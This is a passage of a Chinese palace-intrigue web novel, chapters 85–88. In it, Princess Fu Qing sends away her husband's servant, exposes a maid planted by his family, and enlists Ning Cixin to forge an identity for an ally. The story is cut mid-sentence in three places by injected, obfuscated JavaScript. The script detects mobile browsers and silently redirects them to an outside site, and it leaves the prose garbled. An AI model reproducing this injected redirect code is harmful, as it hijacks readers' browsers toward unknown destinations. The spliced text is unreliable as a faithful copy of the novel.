薛贵妃很欣慰苻庆能够这样想,其实苻庆这场婚事薛贵妃并非完全反对。杜至善看上去成熟稳重,且十分上进。虽说杜太傅与苻家曾经有龃龉,但现在杜太傅只不过担任了一个虚名,早已经没有实权,这样的人对于苻庆来说实在没什么威胁。 而对于杜至善来说,但凡他聪明一些,也会明白自己应该依附好薛贵妃这棵大树。 “你能这样想,姨母很高兴。”薛贵妃看着苻庆的脸,露出一个欣慰的笑容,“庆儿,答应姨母,再忍耐一段时间。” “忍耐?”苻庆没有明白薛贵妃的意思,忍耐对于苻庆来说并不陌生,但再忍耐一段时间又是什么意思呢? “我知道杜至善实则是个心思重的人,但我不觉得杜至善心中完全没有你。”薛贵妃想起回门那日,她看到的杜至善看着苻庆的眼神,“姨母知道你想要的不是这个,但对于现在的你们来说,这一点已经足够你们相敬如宾的生活了。” 苻庆呼出一口气,轻轻挪开了自己的手。 85. 如果 “我知道姨母是替我着想,也知道姨母这话说的实则是对的。” 苻庆脑海中想起杜至善的样子。 说实话,若非是在成婚之前遇见了程怜香,也许苻庆现在已经安心地与杜至善做了一对真正的夫妻。毕竟杜至善这个人的许多特点对于现在的苻庆来说,其实都是有益的。 杜至善是一个出色的盟友,总能够找到该出手的时机,并且提出正确的应对方法;同时,杜至善的目标还很是明确,有时候苻庆觉得杜至善可能是个没什么感情的人,对于他来说,人活着的全部意义就在于完成自己的目标。 而为了达成他的目标,苻庆的助力是十分重要的环节。哪怕仅依靠这一个理由,苻庆都能够确定杜至善会在未来很长时间都能够扮演好一个合格的丈夫角色。 但这世界上,没有如果。 天意弄人,苻庆就是先一步遇见了程怜香,在感受过那样无忧无虑的时光和毫无理由的偏爱之后,苻庆怎么可能还稀罕这种互相利用的感情。 “但恕我难以从命。”苻庆有些抱歉地看着薛贵妃。“我可以和杜至善在同一屋檐下继续生活,也可以接受他顶着我丈夫的头衔在朝堂活动,但我绝不可能接受我们成为一对所谓相敬如宾实则貌合神离的夫妻。” 薛贵妃一愣。 “姨母,我早就想通,对于我来说丈夫这个头衔并不重要,毕竟我甚至都没有选择的权利。但是我的心在谁那里,却是我自己要说了算的。”许是因为想到程怜香,苻庆的脸上忽然浮现出一个温婉的笑容,“我可以痛苦,但绝不要麻木地活着,我不能够欺骗自己说这样的感情对于我来说已经是足够。” 听了苻庆的话,薛贵妃缓缓吐出一口气,倚在圈椅的扶手上。 “你啊,你啊。” 苻庆知道薛贵妃对自己并没有办法,但想到自己对薛贵妃隐瞒了与程怜香的事情,多少还是有些愧疚。 苻庆站起身走到薛贵妃面前,撩起裙摆跪在了地上。 “姨母,您责罚我吧。” 责罚我明知前路未知,却还是孤注一掷投入到也许是短暂的欢愉当中。 责罚我明知前路未知,却还是不肯死心,坚持要完成复仇的愿望。 责罚我到头来,也不过是个自私的人。 虽说自己总是说着要替薛贵妃着想,但苻庆明白,她一辈子到底还是对不起姨母。 但苻庆总是忘记,对于一个母亲来说,孩子的快乐大于一切。 薛贵妃伸出手扶起苻庆。 “傻瓜,说这些见外的话做什么?我是你的亲姨母,从你十岁开始,我便把你当做我的亲生女儿抚养。”薛贵妃轻轻抚平苻庆衣裙上的褶皱,“庆儿,只要你高兴,我什么都愿意为了你去做。” 苻庆忍住涌到眼眶中的泪水,露出一个笑容。 上苍还是眷顾自己的吧,要不然自己怎么还能够感受到这么多被爱的时刻。 宫门落锁之前,苻庆按规矩离开了皇宫。 回到公主府的时候,杜至善也已经下值回府,看到揽晴轩亮着的蜡烛,苻庆毫无波澜地走了过去。 吃过晚饭,苻庆在花厅中清点明日要送到宁国公府的礼物。这些礼物是苻庆送给宁慈心的添妆,因此需要在婚礼之前送到宁国公府。 松醪陪着苻庆一同清点礼品,两人照着单子看了好一会,才终于确定好了所有礼品。 苻庆呼出一口气,将礼单递给松醪,自己如同脱力一般倒在圈椅中。 “剩下的工作便交给你了,装车的时候记得嘱咐他们小心点,这些人不是宫里出来的,多嘱咐一句还是没错的。” 松醪点头,“公主放心,装车的时候奴婢会到场监工的。” 由于如今在府中没什么信得过的人,松醪的工作比从前多了不少。苻庆有些惭愧,伸手拉过松醪的胳膊,“辛苦你了。” 松醪并没有谦虚,反而是笑着问道:“公主若知道奴婢辛苦,怎么还不想办法替奴婢分分忧?” 苻庆立刻明白了松醪的意思,笑着推了松醪一把。“你啊,就是见不得我休息。” 说完,苻庆站起身伸了个懒腰。 舒展完筋骨,苻庆伸出一只胳膊,“走,咱们去揽晴轩。” 杜至善用晚饭的时间比苻庆晚一些,因此这个时间点不过刚用完晚饭,正独自一人在揽晴轩的院子中散步。 今晚的月色皎洁,看着这样的月亮,杜至善也不自觉停下了脚步。 “瞧什么呢?这么出神。” 杜至善一惊,这才发觉苻庆已经站在了自己身后。 “公主。” 苻庆一手制止住了杜至善要行礼的动作。 “行了,你我之间,就少点这些没用的规矩吧。” 杜至善不再坚持,欣然接受了苻庆的提议。 “我刚刚在看月亮。” “月亮?”苻庆也抬起头,果然看到一轮散发着银辉的月牙挂在天上。 苻庆露出一个笑容,“今晚的月色,确实很好看。” “从前在书院的时候,我时常一个人看着天上的月亮发呆。”杜至善看着月亮,面上也少见地露出一个笑容。 苻庆有些好奇,“看月亮干什么?” 杜至善看着苻庆,坦诚地说道:“因为我想家啊。” 苻庆一滞,什么也没说出来。 “青山一道同云雨,明月何曾是两乡。”杜至善再次抬头看向月牙,“那时候我还不知道自己是被父母抛弃在白鹿洞书院的,只觉得要是还能看到同一轮月亮,我和他们便不算是天各一方。” 虽说苻庆对于杜至善这人没什么好印象,但每次杜至善提到这种事情,苻庆还是控制不住自己跟着难过。毕竟那种被遗弃的感觉,苻庆也并不陌生。 “你知道锦西城的月亮是什么样子的吗?” 杜至善一顿,惊讶地看着苻庆,摇了摇头。 苻庆看起来心情很好,手舞足蹈地给杜至善比划着,“我们锦西城看到的月亮比这个可大多了,看起来也比这个清楚。我小时候最喜欢的便是李太白写的小时不识月,呼作白玉盘。后来我才明白,只有在我们锦西城看到的圆月,才能够称得上白玉盘。” 杜至善微笑。 “月亮并不只在京城和书院这两处地方才能看到,即使在大夏也有许多能看到月亮的地方,而这些地方都不相同。”再抬头看向月亮,苻庆眼中浮现出的却是冰雪皑皑的锦西城城墙上,自己看过的那轮月亮,“我相信,你还能够看到更多的月亮。” 杜至善听出苻庆是在安慰自己,对于苻庆的善意,杜至善还是很感激的。 “公主今日怎么想起来到揽晴轩来了?可是有事情要找我?” 虽说现在说这些有些破坏气氛,但苻庆向来是个想不了这么多的人,因此非常自然地袖中拿出一封信。 “我在城郊有一处田产,是我娘亲留给我的,这些年我也没有管理过,都是交给我姨母打理。不过自我成婚后,我姨母便将这处田产还给了我。”苻庆将信封交给杜至善,“昨日我收到这封信,庄上的管事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446175|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报上来今年的佃户人数与往年相差甚远,我担心是管事想着我第一年接手田庄,能从里头抽成一笔,所以想派个人去田庄上看看。” 杜至善接过信看了一眼,点了点头。 “这个数字确实有点蹊跷,公主还是派人去看一看比较好。” “可问题就在于我这几日实在找不到合适的人手。”苻庆皱眉,很是困恼地说道:“过几日便是瑕英长公主婚礼,明日我还得去宁国公府送些添妆,松醪是一步都离不得我的。偏偏现在府中也没有我用得惯的人。” 现在府上的下人换了大半,田庄作为苻庆的陪嫁又确实是十分重要的东西,因此苻庆一时找不到一个值得信任的人去做这件事也是情有可原。 “若是公主不嫌弃,不妨让决明跑这一趟吧。”杜至善将信封双手奉还,“原先在杜府的时候,决明便跟着管家学过算账,对于田产之事也比较了解,想来能够帮公主查出真相。” “可是这样的话你会不会有些不方便啊?我瞧着决明平日里都跟着你,若是他走了谁来照顾你呢?” 杜至善摆手,“无妨,几日而已,不耽误什么事情。” “决明能够跑这一趟自然是好的,我也很是放心,只是担心没人照顾你,反而耽误了你的事情。”苻庆低头想了想,忽然开口说道:“对了,昨日你不是派了个婢女到翠华庭给我送东西吗?我瞧着那个婢女做事很是稳重,是能够担大任的,不如便将她升为这揽晴轩的一等女使,由她来照顾你。” 杜至善觉得苻庆有些小题大做,自己一个大男人,不可能离了谁便过不下去。 “杜至善,决明是你的人,若是你不肯让我找到一个可用的人暂时照顾你,那决明我是绝不敢支使的。” 看着苻庆真诚的眼神,杜至善到嘴边的话又咽了下去。 “今日我进宫的时候去探望了姨母,姨母说公主府现在虽说只有咱们两个人住着,但也应该按照规矩将这些女使小厮都安置好,否则不便于管理。姨母还说这次的事情便是给咱们的一个提醒。” 薛贵妃说得也有道理,如今公主府中的下人可以说是一团乱草,虽说分了院子,但大家的职责并不明确,也就可能会出现玩忽职守等情况发生。 “既然如此,在下就不拒绝公主的好意了。” “太好了,”苻庆拍手,立刻对松醪吩咐道:“松醪,你去将那个云腴的婢女找来,告诉她这几日旁的事情都可以放一放,先紧着照顾驸马这一件事。” 松醪福身称是,转身退下。 再看向杜至善,苻庆的脸上堆着一个笑容。 “既然事情已经敲定了,那明日一大早决明便赶紧出发吧,这庄子是我娘留给我的,我可不想让它出了事情。” 杜至善点头,“公主放心,明日一早我就让决明到翠华庭听你的安排。” 苻庆满意一笑,同杜至善道了谢,离开了揽晴轩。 回去歇了一会,松醪便回来了。 “公主,事情已经办妥了。” 苻庆坐直身子,“那小姑娘说什么了?” “没说什么,只是谢了恩。” 苻庆点头,“其余的事情咱们便管不着了。” 松醪有些不明白苻庆这样安排的用意,问道:“公主,奴婢不明白您不是不希望驸马身边有亲近的人吗?怎么好不容易支开了决明,又放了个云腴在他身边呢?” “对于他来说决明是帮手,但云腴就不一定了。”苻庆笑一笑,“松醪,难道后宫中原先做过宫女的妃嫔还少吗?” 86. 添妆 松醪一愣,没想到苻庆竟然是存着这份心思。 “那云腴一看便不是做女使的,这样的姑娘被杜家塞进府里,只有一个可能。” 想到杜家居然敢当着公主的面给驸马塞通房,松醪有些意外,“这可是公主府,杜夫人莫非是疯了?” “也许在杜夫人眼中,并不觉得这是本公主的府邸吧,毕竟杜至善不是也已经有所行动了吗?”苻庆伸了个懒腰,趴在桌上,“他们想通过这些下人把持住公主府,让我成为没有实权的孤家寡人,真是好手段。” “那公主的意思是?” “既然他们想要把水搅浑,那我就帮一帮他们,浑水摸鱼的事情他们想做,我也喜欢。” 杜至善想到换了下人,但还是没有办法将下人全都换成自己信任的人,这些人看似都是杜至善找来的,实则也是各怀鬼胎、暗藏玄机。 而苻庆现在要做的,就是从中寻找到弱点,然后击破他们。 “时辰不早了,明日你还得安排决明去田庄的事情。”苻庆拉了拉松醪的手,“决明不是个好糊弄的,一定要他好好地调查一下田庄的情况。” 松醪点头,“公主放心。” 主仆二人相视一笑。 苻庆的话并不假,这一处田庄也确实是苻夫人留给她的陪嫁,但原先在宫里的时候,薛贵妃便已然将处理田庄的事情全权交给了苻庆,苻庆对于这处田产的情况十分熟悉,自然也知道怎么做才能让这处田产闹出点事来。 将决明调离杜至善身边,杜至善便少了一双眼睛,那苻庆在做事情的时候也就更加无后顾之忧了。 揽晴轩中,杜至善正在练字,这是他从白鹿洞书院便养成的习惯了,每晚睡觉前必须练几幅字。 “吱呀”一声木门被打开,接着有脚步声传来。 杜至善并没有抬头。 下一霎,一双素手拾起了放在砚台边的墨锭,伴随着墨锭在砚台中缓缓打圈,乌黑的墨汁层层渲染。 杜至善今日写的是《金刚经》,悬腕很考验臂力,因此对于屋内发生的一切,他连眼皮都没有抬一下。 半晌,这位刚来的不速之客先出了声。 “公子,早点休息吧。” 虽然只是微微一抖,但那一竖的力道已经改变。杜至善停下笔,看了一眼只剩下最后两个字就能写完的这张纸,眉头微微皱了一下。 云腴却没有发现杜至善面部表情的变化,还在温柔地劝道:“公子,时辰已经不早了,明日您还要进宫呢。” 既然已经写废了,便没有留着的必要,杜至善随手将毛笔一扔,大片的墨痕抹到了纸上。 “你是干什么来的?” 云腴一愣,却还是收手福身,恭敬地回答道:“奴婢是来照顾公子的。” “既然知道是来照顾我的,便应当明白自己该说什么不该说什么。”杜至善坐在圈椅中,手上慢条斯理地整理下摆,“譬如刚才的话,你就不该说。” 云腴这才意识到杜至善动怒,感觉跪在地上垂着头说道:“奴婢知错,奴婢再也不敢了。” 杜至善俯下身靠近云腴,发现她的脖颈很是修长,低头的时候能够露出如同天鹅一般白皙的颈部,因此瞧着格外美丽。 “奴婢只是担心公子休息不好会影响身体,没想到扰了公子练字,实在是罪该万死。”云腴说话的时候娇娇弱弱的,一双眸子泫然欲泣,“还望公子能够饶奴婢一命,让奴婢将功补过。” 说着话,云腴将手虚掩在唇边,挡住了自己的半张脸。 就在这时,杜至善忽然意识到这双有些似曾相识的眸子在哪里见过。 “我也没怪你,起来吧。” “多谢公子。”云腴歪着肩膀站了起来。 “你别以为我不知道你是从哪来的,我母亲为了找你也是费了不少事情吧?” 云腴炸了眨眼睛,“公子说的话奴婢听不懂,奴婢只知道进府便是为了伺候公子,是为了让公子高兴的。” 看着这双过分相似的眉眼,杜至善的眉头紧锁。 由于要在短时间内找到一批新的下人,杜至善只能寻求杜家提供了一点帮助,也就默许了杜夫人在这中间动了些手脚。 他早就跟杜夫人明确说过,如今他还需要苻庆幕后势力的支持,因此也就需要继续扮演一个与公主相敬如宾的好驸马。但杜夫人从来不肯听他的话,只是一味地做着她眼中正确的事情。 这个女孩,一看便就是杜夫人塞进来的。 杜夫人还真是煞费苦心了,毕竟能够在短时间内找到一个眉眼与苻庆如此相似的下人,并不是一件简单的事情。 只是,杜至善不明白杜夫人此举的用意何在,她这种算计自己的方式也本应当令他十分反感。 “公子,可是云腴惹您不高兴了吗?” 看着云腴低眉顺眼的样子,杜至善还是露出了一个微笑。 “没有,只是你刚来揽晴轩还不太懂规矩,我不怪你。”杜至善站起身,“到了明日自会有人教你规矩,你好好学。” 云腴点头,“奴婢明白。” 杜至善迈步向屋外走去,却又在最后一刻,忽然回头看向云腴。 云腴本来望着他的背影,慌忙低下了头。 “还有,日后按照规矩,你要称我为驸马,明白了吗?” “是。” 杜至善走出了屋子。 即便是夜间的风也少了凉意,半梦半醒间,苻庆甚至隐约听到了蝉鸣。 由于要符合吉时,所以第二日一大早苻庆便往宁国公府赶去。 此时的宁国公府已经焕然一新,府外府内各处都悬挂上了红绸。苻庆露出脑袋,有些好奇地打量着这一切。 宁国公夫人早已在府外等候,苻庆下了马车后向宁国公夫人行礼,而宁国公夫人也向苻庆还礼。 “好孩子,真是辛苦你了。” 苻庆对着宁国公夫人露出一个笑容,“国公夫人客气了,这本来就是我应当做的。” 宁国公夫人拉着苻庆往府内走去,“成亲这些日子,和驸马相处还算和气吗?” “和气,和气。”苻庆点头,“驸马对我很好。” 跟在身后走着的松醪听到苻庆这样说,悄悄露出一个笑容。 宁国公夫人好像在苻庆这里多少得了点安慰,又好像这样的添妆真的能够保佑宁慈心在孔家不会与驸马产生矛盾,总之她很是高兴,紧紧地拉着苻庆的手不肯松开。 “那一会你可要与阿慈好好说一说,我家阿慈的脾气不好,我总是不放心她。” 苻庆点头,“夫人放心吧,瑕英长公主平日可能率真了些,但在大是大非面前一定还是能够想明白的。” 二人正说着话,一个身着绛紫色长袖褙子的妇人挡住了二人的路。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446176|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “母亲。” 宁国公夫人一愣,“长欢,你怎么在这?” 长欢笑得眉眼弯弯,微微低头与宁国公夫人行礼,也是在这时候苻庆才发现,这个姑娘已经有了身孕。 “媳妇已经到阿慈妹妹房中去过了,只是阿慈妹妹瞧着心情不太好,屡屡出言不逊。阿慈妹妹的脾气母亲也是知道的,如今我月份大了,实在不敢冒险。” 宁国公夫人眉头一蹙,虽说长欢的话说的有些不好听,却也没说错。就以宁慈心那个说着说着话便要摔东西的脾气,确实对于孕妇有些危险。 “既然如此你便先去花厅吧,阿焕应当在花厅与国公爷说话呢。” 长欢点头,“是。” 与那妇人擦身走过,宁国公夫人对着苻庆介绍道:“刚才那位是我的长媳穆长欢,现在已经有了六个月的身孕了,今日是特意与阿慈她大哥哥回府探望阿慈的。” “大哥哥?”苻庆反应过来,宁慈心的大哥哥,不就是那位给宁慈心找了武婢看管的小公爷吗? “阿慈她大哥哥最是疼她,这种日子是一定会回来的。” 看着宁国公夫人的脸,苻庆笑着点头。 若是真的疼爱宁慈心,先前宁慈心为着赐婚一事想不开的时候怎么不见他回来为妹妹撑腰。此时回来,恐怕是担心临近婚期宁慈心又会闹出什么乱子,特意回来盯着宁慈心的。 这样说来,刚才那个妇人不愿与宁慈心待在一起也是有原因的,毕竟她虽然算是宁慈心的大嫂,看起来却对宁慈心并没有什么感情。 一路拐到院子中最深处,终于到了宁慈心的住处。 走过来的时候苻庆便已经注意到,宁慈心住的位置极偏僻,且只有一条道路能够通往外界。而一路上虽说也是喜气洋洋,四处都是红绸子与红灯笼的装饰,但实则处处都是低着头匆匆走过的婢女。 苻庆心中想着,看来这并非是送宁慈心出嫁的婚房,而是看守她的牢笼。 “阿慈,璇玉长公主来探望你了。” 宁国公夫人推开门,宁慈心正在屋内对着镜子梳头发,而前几日苻庆曾经见过的那个武婢还在旁边站着。 宁慈心将梳子往桌上一甩,“你怎么来了?” 苻庆并不在意宁慈心的态度,反而是宁国公夫人先训斥了宁慈心。 “胡说,长公主是来为你添妆的。” 宁慈心懒洋洋地答应了一声,拿起梳子继续梳头发。 宁国公夫人有些不好意思,只能充满着歉意地看着苻庆,“好孩子,你别放在心上,阿慈被我骄纵坏了。” “无妨的,再怎么说瑕英长公主也是要出嫁了,能够在家中无忧无虑的日子那是过一日少一日了。” 听到苻庆夹枪带棒的讽刺,宁慈心露出一个笑容,放下梳子站起身,走到苻庆面前。 “好毒的嘴巴,前几日你府上发了痘疫,怎么没把你的嘴烧坏了?” “托姐姐的福呗。” 眼见着二人你来我往,宁国公夫人赶紧息事宁人。 “好了好了,阿慈也还有些东西要收拾,孩子你跟我走吧,咱们去院子里转转。” “等等,国公夫人。”苻庆出声叫住了转身要离开的宁国公夫人,“请您不要见怪,我还有些事想要与瑕英长公主说,还请您在门外稍等片刻。” 宁国公夫人有些疑惑,脚步也有些迟疑。 87. 密谋 “苻庆,你找我能有什么事?” “一会你便知道了。”说着话,苻庆看向站在宁慈心身后的武婢,本来站在旁边默不作声的松醪立刻说道:“我家长公主要同瑕英长公主一人说话,你不必在此伺候。” 武婢的眼睛从苻庆与宁国公夫人脸上扫过,刚准备说话却被宁慈心抢白。 “你还愣在这干什么?没听见璇玉长公主说要你出去吗?” 苻庆心中想的没错,虽说宁慈心对于自己所要说的事可能不感兴趣,但只要能够让这个武婢暂时离开,她就都愿意配合。 武婢还想要说什么,宁国公夫人已经打开了门。 “既然如此,你去端一壶茶过来,不要太烫的水。” 见宁国公夫人都这样说,武婢终于低头称是,走出了房间。而宁国公夫人对苻庆笑着点点头,也走出了房间。 松醪最后一个走出,她看了苻庆一眼,将房门缓缓合上。 “说罢,你找我到底有什么事?” 苻庆看向宁慈心,面上忽然露出了一个狡黠的笑容。 “宁慈心,我想要你帮我一个忙。” 宁慈心一愣,一来是苻庆从未找她帮过忙,二来是宁慈心也甚少在苻庆脸上看到这样的表情。 虽说京城中达官贵人时常将宁慈心与苻庆相比较,但不管苻庆再做出多么离经叛道的事情,大家还是会默契地认为苻庆已经长大了,这可能是因为苻庆惯会在他们面前摆出一副成熟的样子,哪怕大家都知道这个人下一霎便会不知道做出什么惊世骇俗的事情。 因此,宁慈心很少能在苻庆脸上看到这么生动的表情。 “苻庆,如果我没记错的话,我们的关系应当不是能够互帮互助的那种吧?” 苻庆料到宁慈心会拒绝,她并不着急,反而是不紧不慢地说道:“你放心,若是这件事对你没好处,我是不会朝你开口的。” 宁慈心挑眉,转身走到圆桌旁,用眼神示意苻庆坐下。苻庆不打算客气,一屁股坐在了圆凳上。 “我想要你帮我给一个人伪造一个合理的身份。” “合理的身份?”宁慈心斜眼看着苻庆,“你不会要把你那小情人弄到公主府里去吧?” “滚。”苻庆不假思索地骂道。 大约是苻庆回答得太快,宁慈心没忍住,露出一个笑脸。 “你还记得英国公夫人吗?” 宁慈心收敛住笑容,点了点头。 “我想让你找个人假装与英国公夫人相认,给英国公夫人一个真正的流民身份。” 宁慈心半晌没有说话,苻庆也不着急,只是坐在那里静静地看着宁慈心。 “你为什么要来找我?能给她伪造身份的方法有很多。” “因为我要的不只是一个普通的流民,我要的是一个能够倚靠宁国公府的流民身份。” 宁慈心先是一愣,转瞬之间忽然想明白了苻庆的意思。 “你是说,你要那个被我爹认作干女儿的婢女来与她相认。” 苻庆点头。 当日与给宁慈心赐婚的一道圣旨同时到来的还有皇帝的秘密口谕,要求宁国公夫妇将那个婢女认做干女儿借此平息天下学子的愤怒。当时宁慈心坚决不允许父母认那个婢女,最后夫妇二人没有办法,只能将那个婢女送去了京郊的庄子上,托给了那边的管家照料,算是完成了皇帝的吩咐。 “苻庆,我看你是疯了,你难道不知道我之所以会走到今天这一步,都是因为那个婢女吗?你觉得我怎么可能还愿意为她找一个身份如此显赫的姐姐?” “宁慈心,你怎么还没有想明白?你之所以会走到今天这一步,不是因为那个婢女,而是因为你自己。若是你做每件事情都能想到三思而后行,便不至于走到今天这一步。”苻庆毫不留情地戳中了宁慈心的心窝。 “而我今日的提议,正是能够让你弥补这个错误。” 见宁慈心还是一脸戒备地看着自己,苻庆只好继续解释道:“我知道你不想看见那个婢女,你想若是她与英国公夫人相认,怎么可能还轮得到你们宁国公府养着她呢?” 这一点倒是有点意思,宁慈心的面容松动了些,她每次想到这个婢女现在还住在自己家的宅院中,便觉得心上好像扎了一根刺。 “第二,我想你应该不会忘记皇上将你赐婚给孔家的真实原因吧?” 宁慈心点头,朝中文臣世家众多,皇帝之所以选择了最徒有其名的孔家,便是为着削弱宁国公府的势力。 “若是你的干妹妹能有机会做了英国公夫人的亲妹妹,那你们家与英国公府是什么关系,我想便不用我多说了吧?” 宁慈心转动眼珠看向苻庆,对方的脸上已经露出了一个胸有成竹的笑容。 “至少,你那位嫂嫂应当不敢在你面前继续阴阳怪气了吧?” 这一层关系确实打动了宁慈心,英国公虽说现在赋闲在家,但他与宁国公还有些区别。英国公的几个孩子现下仍在朝中活动,虽说大多被外放,但到底还有些自己的势力。而自己的几个哥哥价值几斤几两,宁慈心再了解不过。若是能够与英国公府进行联盟,那自己父母的晚年生活也就多了层保障。 “苻庆,既然你要我帮忙,至少应该给我交个底吧。” “我不能告诉你英国公夫人的真实身份,但我可以告诉你是谁与英国公夫人作对。”苻庆的目光灼灼,“是皇上和赵王。” 话音刚落,宁慈心忽然扯出一个笑容。 “苻庆啊苻庆,原来你是在这里等着算计我。” 苻庆也笑了,她知道宁慈心已经猜出了自己的考虑。 对于宁慈心这样睚眦必报的人,自己的婚事被对方利用,自己从云端一朝成为了被监视的傀儡,这样的仇她不可能不报。而现在,苻庆就这样递上来了一个让她报仇的机会。 “你就说帮不帮忙吧?” 宁慈心呼出一口气,“帮,就算是不为别的,能够恶心一下他们也是好的。” 虽说心中大概有了设想,但听到宁慈心这样说苻庆还是悄悄松了口气。 “不过我有个要求。” 苻庆看向宁慈心。 “我知道英国公即将来京暂代兵部尚书一职,我希望他能够给我大哥哥一点事情做,好让他不要将精力都放在我身上。” “成交。”这并非是什么大事,苻庆答应得格外爽快。 “苻庆,你是不是和你小情人和好了?” 苻庆一愣,扭过头防备地看着宁慈心。 宁慈心笑得一脸得逞了的高兴样子,“你别怕,我这段时间哪也去不了,自然不可能撞破你们的好事,只不过我觉得你比之前要好玩一点了,所以才想问问你。” “好玩一点?”苻庆摸了摸自己的脸蛋,“有吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446177|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我不觉得我跟之前有什么变化啊?” 见苻庆没有反驳,宁慈心已经明白了苻庆的潜台词。 “好啊好啊,原来一向识大体的苻庆婚后还会做出这种事情来。”宁慈心轻轻拍了拍手,“我真是替你感到骄傲。” “得了吧,我还不知道你,你就是唯恐天下不乱。”苻庆眨眨眼,“具体安排我便托给你了,宁慈心,你先想好怎么不让我失望吧。” 接着,苻庆推开房门走了出来。 松醪仍在门外等候,但宁国公夫人与那个婢女已经走开了。 苻庆与松醪走到院中的小花园,宁国公夫人此时坐在花园中的石凳上等着,那个婢女在一旁站着伺候国公夫人喝茶。看她们两人相处的状态,感觉宁国公夫人对这个婢女也并不喜欢。 看来小公爷在宁国公府的话语权已经如此厉害了,怪不得宁慈心一点自由都没有了。 “国公夫人,我与长公主的话已经说完了。” “好。”宁国公夫人立刻站起来,“既然如此,咱们便走吧。” 说完,宁国公夫人拉起苻庆的胳膊,快速离开了院子。 苻庆并不打算在宁国公府吃饭,但来都来了,她怎么着都得见一见宁国公府的小公爷。 到达花厅的时候,宁焕正在与其他人说话,穆长欢搬了把圆凳坐在旁边,正在把玩一枚玉佩。 见宁国公夫人走过来,宁焕走过来行礼,“母亲。” 宁国公夫人点头,指了指身旁的苻庆,“这是璇玉长公主,苻坚将军的女儿苻庆。” 宁焕同样拱手行礼,苻庆也跟着回了个礼。 二人刚见完礼,穆长欢不知何时站在了一旁。 “这位妹妹有些眼生,从前竟好像没有见过。” 苻庆微笑,“我久居宫中,嫂嫂没有见过我也是正常,毕竟我也是第一次见到嫂嫂。” 穆长欢一愣,伸手拉住了宁焕的衣袖。 “不得无礼,这是璇玉长公主,公主的姨母可是陛下身边最得宠的薛贵妃。” 穆长欢也没有想到眼前这个女孩竟然就是前段时间在京城中惹起轩然大波的苻庆,连忙行礼道:“见过长公主。” 苻庆点头还礼。“嫂嫂不必多礼,你毕竟怀着身孕呢。” 穆长欢瞥了宁焕一眼,对方并没有看她,这让穆长欢有些慌张。 “公主今日愿意来,便是我那妹妹的荣幸了,您可一定要留下吃一顿便饭。” “嫂嫂这是哪里话?”苻庆歪着头看向穆长欢,“嫂嫂别忘了,您的妹妹也是陛下亲封的长公主,同样也是怠慢不得的。” 许是感觉到苻庆意有所指,宁焕走上前挡住了穆长欢,“公主可去瞧过我妹妹了?” “瞧过了,瑕英长公主气色挺好。”苻庆看向宁焕的一双眼眸,“就是身边伺候的人不太懂规矩,看上去有些讨人厌。” 宁焕一愣,却还是立刻说道:“这是我的失职,公主放心,我这就让管家去查看情况。” 虽然不知道对方会不会真的给宁慈心换个婢女,但至少面子给了自己,那苻庆也就不再多说什么,只是点了点头。 见到了这位小公爷,苻庆不再停留,道别后离开了宁国公府。 路上,苻庆将已经准备好的信交给松醪,让松醪送了出去。 这样一来,便是万事俱备,只等宁慈心大婚那日了。 88. 好戏 苻庆本以为杜至善不会去参加宁慈心的婚礼,却忘记了杜至善虽然与宁国公府不熟悉,却与宁慈心未来的夫家有些渊源。如今杜太傅虽说已经远离朝堂争斗中心,但到底是太子的先生,与孔家祖上那位也算是有些殊途同归的缘分,因此孔家很早便给杜至善送了请柬。 只是这样一来,他们夫妻两人收到两份请柬不说,甚至收到的还是两家的请柬,就连婚宴去的都不是同一个地方。这任谁来看,都不会觉得他们的夫妻关系有多么亲密。 说起这事得时候苻庆笑得有些无奈,而松醪正在给她裹上层层叠叠的纱裙。 “公主,此事驸马都不在意,您管他做什么?” 苻庆知道松醪说的有道理,但到底还是觉得有些不舒服,毕竟她在薛贵妃面前都没有说出实话,而是给了两人一个体面的说法,可杜至善这么做无疑是打了她的脸。 “这个杜至善,我总觉得他最近好像哪里变了。” 松醪示意苻庆举起胳膊,穿上外面的长袖褙子。 “公主是觉得痘疫一事一定是驸马做的了?” “即便不是他做的,我也觉得他不太对劲。”苻庆自己摸过一个耳坠子戴上,“和从前相比,我觉得杜至善好像没有什么耐心了。” “耐心?”松醪有些意外苻庆会这样说,“您是觉得驸马对您的态度不好了吗?” “不是对我的态度,是对我们共同目标的态度。” 其实这件事苻庆也没有什么证据,就像是痘疫一事,只能说是猜测。毕竟她平日里与杜至善的相处实在是少得可怜,对与杜至善的了解也比较少。 “松醪,其实我最近在想,我是不是应该好好了解了解杜至善?” 松醪看了苻庆一眼,“公主此话怎讲?” “我只是觉得他在我这总像是隔着一团雾,这样的人整天在同一屋檐下生活,我有些不放心。” 